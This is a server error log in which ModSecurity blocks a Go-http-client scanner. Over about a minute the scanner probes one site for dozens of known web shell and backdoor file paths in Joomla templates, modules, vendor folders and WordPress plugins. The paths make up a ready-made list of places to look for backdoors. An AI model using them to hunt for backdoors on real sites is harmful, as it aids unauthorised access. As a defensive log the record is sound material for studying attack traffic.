[Thu Dec 11 00:02:02.964676 2025] [:error] [pid 36975:tid 36988] [client 172.98.33.17:58933] [client 172.98.33.17] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "measureyourbrand.com.au"] [uri "/templates/Aaika/index.php"] [unique_id "aTmZet_ZNQ3zMmb38BGYhgAAAIg"]
[Thu Dec 11 00:02:04.363294 2025] [:error] [pid 36977:tid 37056] [client 172.98.33.13:48183] [client 172.98.33.13] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "measureyourbrand.com.au"] [uri "/administrator/templates/hathor/index.php"] [unique_id "aTmZfMc-JLl-uoL-Au7owwAAAFY"]
[Thu Dec 11 00:02:05.759320 2025] [:error] [pid 36975:tid 36984] [client 45.132.115.246:29041] [client 45.132.115.246] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "measureyourbrand.com.au"] [uri "/templates/madeyourweb/index.php"] [unique_id "aTmZfd_ZNQ3zMmb38BGYhwAAAIQ"]
[Thu Dec 11 00:02:06.758151 2025] [:error] [pid 36976:tid 37027] [client 45.132.115.250:29237] [client 45.132.115.250] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "measureyourbrand.com.au"] [uri "/templates/hathor/index.php"] [unique_id "aTmZfiSpHW5KVaY9tJnjVQAAANQ"]
[Thu Dec 11 00:02:07.552485 2025] [:error] [pid 49095:tid 49104] [client 172.98.33.14:21103] [client 172.98.33.14] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "measureyourbrand.com.au"] [uri "/templates/Genius/error.php"] [unique_id "aTmZf8orr4Jt2Tfx_EY-jgAAAUc"]
[Thu Dec 11 00:02:08.460220 2025] [:error] [pid 37062:tid 37066] [client 45.132.115.251:41371] [client 45.132.115.251] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "measureyourbrand.com.au"] [uri "/templates/Atomic/index.php"] [unique_id "aTmZgDB0I62HCw8Z5BSMGgAAAAI"]
[Thu Dec 11 00:02:09.662011 2025] [:error] [pid 36977:tid 37048] [client 172.98.33.10:32311] [client 172.98.33.10] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "measureyourbrand.com.au"] [uri "/templates/Eatoreh/error.php"] [unique_id "aTmZgcc-JLl-uoL-Au7oxgAAAE4"]
[Thu Dec 11 00:02:10.161734 2025] [:error] [pid 36977:tid 37053] [client 172.98.33.18:52027] [client 172.98.33.18] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "measureyourbrand.com.au"] [uri "/templates/RiverS/error.php"] [unique_id "aTmZgsc-JLl-uoL-Au7oygAAAFM"]
[Thu Dec 11 00:02:10.862822 2025] [:error] [pid 36975:tid 37001] [client 172.98.33.10:37649] [client 172.98.33.10] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "measureyourbrand.com.au"] [uri "/templates/hathor/error.php"] [unique_id "aTmZgt_ZNQ3zMmb38BGYjAAAAJU"]
[Thu Dec 11 00:02:11.464003 2025] [:error] [pid 36976:tid 37025] [client 172.98.33.20:54725] [client 172.98.33.20] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "measureyourbrand.com.au"] [uri "/templates/RiverS/index.php"] [unique_id "aTmZgySpHW5KVaY9tJnjXQAAANI"]
[Thu Dec 11 00:02:12.258901 2025] [:error] [pid 36977:tid 37046] [client 45.132.115.250:56321] [client 45.132.115.250] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "measureyourbrand.com.au"] [uri "/templates/beez3/index.php"] [unique_id "aTmZhMc-JLl-uoL-Au7ozQAAAEw"]
[Thu Dec 11 00:02:13.265593 2025] [:error] [pid 46868:tid 46891] [client 45.132.115.253:56597] [client 45.132.115.253] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "measureyourbrand.com.au"] [uri "/templates/Yamato/error.php"] [unique_id "aTmZhY3NdlN2GOOyBjGjuwAAARU"]
[Thu Dec 11 00:02:14.163312 2025] [:error] [pid 37062:tid 37065] [client 172.98.33.20:47763] [client 172.98.33.20] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "measureyourbrand.com.au"] [uri "/templates/JMart/index.php"] [unique_id "aTmZhjB0I62HCw8Z5BSMIQAAAAE"]
[Thu Dec 11 00:02:15.260012 2025] [:error] [pid 37062:tid 37072] [client 172.98.33.11:32449] [client 172.98.33.11] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "measureyourbrand.com.au"] [uri "/templates/beez/index.php"] [unique_id "aTmZhzB0I62HCw8Z5BSMIwAAAAg"]
[Thu Dec 11 00:02:16.763752 2025] [:error] [pid 36977:tid 37034] [client 172.98.33.16:32211] [client 172.98.33.16] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "measureyourbrand.com.au"] [uri "/templates/Cassiopeia/index.php"] [unique_id "aTmZiMc-JLl-uoL-Au7ozwAAAEA"]
[Thu Dec 11 00:02:18.368240 2025] [:error] [pid 37062:tid 37074] [client 45.132.115.253:20489] [client 45.132.115.253] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "measureyourbrand.com.au"] [uri "/templates/beez5/error.php"] [unique_id "aTmZijB0I62HCw8Z5BSMLQAAAAo"]
[Thu Dec 11 00:02:20.077263 2025] [:error] [pid 37062:tid 37086] [client 45.132.115.251:29291] [client 45.132.115.251] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "measureyourbrand.com.au"] [uri "/templates/Genius/index.php"] [unique_id "aTmZjDB0I62HCw8Z5BSMMwAAABY"]
[Thu Dec 11 00:02:21.058121 2025] [:error] [pid 36976:tid 37011] [client 45.132.115.248:32327] [client 45.132.115.248] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "measureyourbrand.com.au"] [uri "/templates/Beez5/index.php"] [unique_id "aTmZjSSpHW5KVaY9tJnjZAAAAMQ"]
[Thu Dec 11 00:02:23.060704 2025] [:error] [pid 49095:tid 49103] [client 45.132.115.252:42463] [client 45.132.115.252] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "measureyourbrand.com.au"] [uri "/templates/Raees/error.php"] [unique_id "aTmZj8orr4Jt2Tfx_EY-mQAAAUY"]
[Thu Dec 11 00:02:25.357191 2025] [:error] [pid 36977:tid 37040] [client 45.132.115.245:59717] [client 45.132.115.245] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "measureyourbrand.com.au"] [uri "/templates/BeginDot/index.php"] [unique_id "aTmZkcc-JLl-uoL-Au7o2wAAAEY"]
[Thu Dec 11 00:02:27.665249 2025] [:error] [pid 49095:tid 49102] [client 45.132.115.253:65209] [client 45.132.115.253] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "measureyourbrand.com.au"] [uri "/templates/rhuk_solarflare_ii/error.php"] [unique_id "aTmZk8orr4Jt2Tfx_EY-pAAAAUU"]
[Thu Dec 11 00:02:28.560117 2025] [:error] [pid 36976:tid 37020] [client 172.98.33.17:57715] [client 172.98.33.17] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "measureyourbrand.com.au"] [uri "/templates/Beez2/error.php"] [unique_id "aTmZlCSpHW5KVaY9tJnjcAAAAM0"]
[Thu Dec 11 00:02:29.566287 2025] [:error] [pid 49095:tid 49103] [client 45.132.115.246:35489] [client 45.132.115.246] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "measureyourbrand.com.au"] [uri "/templates/cassiopeia/error.php"] [unique_id "aTmZlcorr4Jt2Tfx_EY-pwAAAUY"]
[Thu Dec 11 00:02:30.777059 2025] [:error] [pid 36976:tid 37026] [client 172.98.33.8:35083] [client 172.98.33.8] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "measureyourbrand.com.au"] [uri "/templates/Jollyany/index.php"] [unique_id "aTmZliSpHW5KVaY9tJnjcgAAANM"]
[Thu Dec 11 00:02:31.863140 2025] [:error] [pid 49095:tid 49100] [client 45.132.115.247:49025] [client 45.132.115.247] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "measureyourbrand.com.au"] [uri "/templates/Jollyany/error.php"] [unique_id "aTmZl8orr4Jt2Tfx_EY-qQAAAUM"]
[Thu Dec 11 00:02:33.165354 2025] [:error] [pid 36976:tid 37018] [client 45.132.115.248:37347] [client 45.132.115.248] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "measureyourbrand.com.au"] [uri "/modules/ets_whatsapp/new.php"] [unique_id "aTmZmSSpHW5KVaY9tJnjdgAAAMs"]
[Thu Dec 11 00:02:34.061822 2025] [:error] [pid 49095:tid 49112] [client 45.132.115.244:41577] [client 45.132.115.244] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "measureyourbrand.com.au"] [uri "/modules/mod_simplefileuploadv1.3/elements/filemanager.php"] [unique_id "aTmZmsorr4Jt2Tfx_EY-rwAAAU8"]
[Thu Dec 11 00:02:36.377104 2025] [:error] [pid 36975:tid 36987] [client 172.98.33.19:27311] [client 172.98.33.19] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "measureyourbrand.com.au"] [uri "/modules/mod_simplefileuploadv1.3/elements/udd.php"] [unique_id "aTmZnN_ZNQ3zMmb38BGYpgAAAIc"]
[Thu Dec 11 00:02:39.363106 2025] [:error] [pid 37062:tid 37082] [client 172.98.33.10:42813] [client 172.98.33.10] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "measureyourbrand.com.au"] [uri "/modules/ets_whatsapp/security.php"] [unique_id "aTmZnzB0I62HCw8Z5BSMQwAAABI"]
[Thu Dec 11 00:02:40.563687 2025] [:error] [pid 36976:tid 37028] [client 172.98.33.4:53783] [client 172.98.33.4] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "measureyourbrand.com.au"] [uri "/modules/mod%20ariimageslidersa/mod%20ariimageslidersa.php"] [unique_id "aTmZoCSpHW5KVaY9tJnjhAAAANU"]
[Thu Dec 11 00:02:41.557614 2025] [:error] [pid 36976:tid 37007] [client 45.132.115.253:64803] [client 45.132.115.253] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/plugins/age-restriction/modules/remote_support/remote_init.php"] [unique_id "aTmZoSSpHW5KVaY9tJnjiAAAAMA"]
[Thu Dec 11 00:02:42.575158 2025] [:error] [pid 46868:tid 46893] [client 45.132.115.246:29657] [client 45.132.115.246] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "measureyourbrand.com.au"] [uri "/modules/mod_ju_articleslider/tmpl/admin.php"] [unique_id "aTmZoo3NdlN2GOOyBjGjywAAARc"]
[Thu Dec 11 00:02:43.670384 2025] [:error] [pid 36975:tid 36983] [client 172.98.33.8:45189] [client 172.98.33.8] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "measureyourbrand.com.au"] [uri "/modules/mod_rebug/library/index2.php"] [unique_id "aTmZo9_ZNQ3zMmb38BGYrgAAAIM"]
[Thu Dec 11 00:02:45.263291 2025] [:error] [pid 36975:tid 36984] [client 45.132.115.250:30757] [client 45.132.115.250] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "measureyourbrand.com.au"] [uri "/modules/mod_ariimageslidersa/mod_ariimageslidersa.php"] [unique_id "aTmZpd_ZNQ3zMmb38BGYrwAAAIQ"]
[Thu Dec 11 00:02:46.060779 2025] [:error] [pid 36976:tid 37027] [client 45.132.115.253:62323] [client 45.132.115.253] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "measureyourbrand.com.au"] [uri "/modules/modules/modules.php"] [unique_id "aTmZpiSpHW5KVaY9tJnjjQAAANQ"]
[Thu Dec 11 00:02:46.864809 2025] [:error] [pid 36977:tid 37053] [client 172.98.33.5:29025] [client 172.98.33.5] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "measureyourbrand.com.au"] [uri "/modules/scrollbottom/anamama-2.php"] [unique_id "aTmZpsc-JLl-uoL-Au7o5gAAAFM"]
[Thu Dec 11 00:02:47.852296 2025] [:error] [pid 37062:tid 37081] [client 45.132.115.249:46975] [client 45.132.115.249] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "measureyourbrand.com.au"] [uri "/modules/sendinblue/mini.php"] [unique_id "aTmZpzB0I62HCw8Z5BSMRQAAABE"]
[Thu Dec 11 00:02:49.251688 2025] [:error] [pid 36976:tid 37013] [client 45.132.115.248:52891] [client 45.132.115.248] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "measureyourbrand.com.au"] [uri "/vendor/htmlawed/htmlawed/gel4y.php"] [unique_id "aTmZqSSpHW5KVaY9tJnjjwAAAMY"]
[Thu Dec 11 00:02:50.367744 2025] [:error] [pid 46868:tid 46872] [client 45.132.115.250:46431] [client 45.132.115.250] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "measureyourbrand.com.au"] [uri "/libraries/joomla/index.php"] [unique_id "aTmZqo3NdlN2GOOyBjGj2wAAAQI"]
[Thu Dec 11 00:02:50.965297 2025] [:error] [pid 36975:tid 36989] [client 45.132.115.250:36155] [client 45.132.115.250] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "measureyourbrand.com.au"] [uri "/vendor/composer/about.php"] [unique_id "aTmZqt_ZNQ3zMmb38BGYtAAAAIk"]
[Thu Dec 11 00:02:51.656400 2025] [:error] [pid 36976:tid 37024] [client 172.98.33.13:33087] [client 172.98.33.13] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "measureyourbrand.com.au"] [uri "/components/com_newsfeeds/models/index.php"] [unique_id "aTmZqySpHW5KVaY9tJnjkgAAANE"]
[Thu Dec 11 00:02:52.762775 2025] [:error] [pid 46868:tid 46885] [client 172.98.33.17:25185] [client 172.98.33.17] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "measureyourbrand.com.au"] [uri "/vendor/composer/cache.php"] [unique_id "aTmZrI3NdlN2GOOyBjGj3AAAAQ8"]
[Thu Dec 11 00:02:53.867294 2025] [:error] [pid 36975:tid 36997] [client 172.98.33.6:64597] [client 172.98.33.6] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "measureyourbrand.com.au"] [uri "/components/com_b2jcontact/izoc.php"] [unique_id "aTmZrd_ZNQ3zMmb38BGYvAAAAJE"]
[Thu Dec 11 00:02:54.671407 2025] [:error] [pid 46868:tid 46889] [client 172.98.33.20:47265] [client 172.98.33.20] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "measureyourbrand.com.au"] [uri "/libraries/joomla/jmail.php"] [unique_id "aTmZro3NdlN2GOOyBjGj3QAAARM"]
[Thu Dec 11 00:02:55.663937 2025] [:error] [pid 36976:tid 37029] [client 172.98.33.11:59577] [client 172.98.33.11] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "measureyourbrand.com.au"] [uri "/libraries/joomla/css.php"] [unique_id "aTmZrySpHW5KVaY9tJnjmAAAANY"]
[Thu Dec 11 00:02:57.165465 2025] [:error] [pid 36977:tid 37036] [client 172.98.33.7:46573] [client 172.98.33.7] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "measureyourbrand.com.au"] [uri "/components/com_jbcatalog/libraries/jsupload/server/php/files/up.php"] [unique_id "aTmZscc-JLl-uoL-Au7o8QAAAEI"]
[Thu Dec 11 00:02:59.064633 2025] [:error] [pid 36977:tid 37053] [client 45.132.115.246:53649] [client 45.132.115.246] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "measureyourbrand.com.au"] [uri "/administrator/components/com_xcloner-backupandrestore/index2.php"] [unique_id "aTmZs8c-JLl-uoL-Au7o8wAAAFM"]
[Thu Dec 11 00:03:00.658063 2025] [:error] [pid 37062:tid 37078] [client 172.98.33.4:26823] [client 172.98.33.4] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "measureyourbrand.com.au"] [uri "/administrator/components/com_xcloner-backupandrestore/language/english.php"] [unique_id "aTmZtDB0I62HCw8Z5BSMVQAAAA4"]
[Thu Dec 11 00:03:01.469456 2025] [:error] [pid 36976:tid 37014] [client 172.98.33.7:20337] [client 172.98.33.7] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "measureyourbrand.com.au"] [uri "/libraries/legacy/updates.php"] [unique_id "aTmZtSSpHW5KVaY9tJnjpAAAAMc"]
[Thu Dec 11 00:03:02.778931 2025] [:error] [pid 36977:tid 37052] [client 172.98.33.17:65357] [client 172.98.33.17] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "measureyourbrand.com.au"] [uri "/libraries/phpmailer/updates.php"] [unique_id "aTmZtsc-JLl-uoL-Au7o-AAAAFI"]
[Thu Dec 11 00:03:04.467066 2025] [:error] [pid 46868:tid 46881] [client 45.132.115.253:65039] [client 45.132.115.253] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "measureyourbrand.com.au"] [uri "/libraries/vendor/updates.php"] [unique_id "aTmZuI3NdlN2GOOyBjGj7AAAAQs"]
[Thu Dec 11 00:03:05.963424 2025] [:error] [pid 36975:tid 36994] [client 172.98.33.17:42745] [client 172.98.33.17] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "measureyourbrand.com.au"] [uri "/admin/resources/dummy/log.php"] [unique_id "aTmZud_ZNQ3zMmb38BGYzwAAAI4"]
[Thu Dec 11 00:03:06.665086 2025] [:error] [pid 49095:tid 49114] [client 172.98.33.10:32045] [client 172.98.33.10] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "measureyourbrand.com.au"] [uri "/admin/log.php"] [unique_id "aTmZusorr4Jt2Tfx_EY-1gAAAVE"]
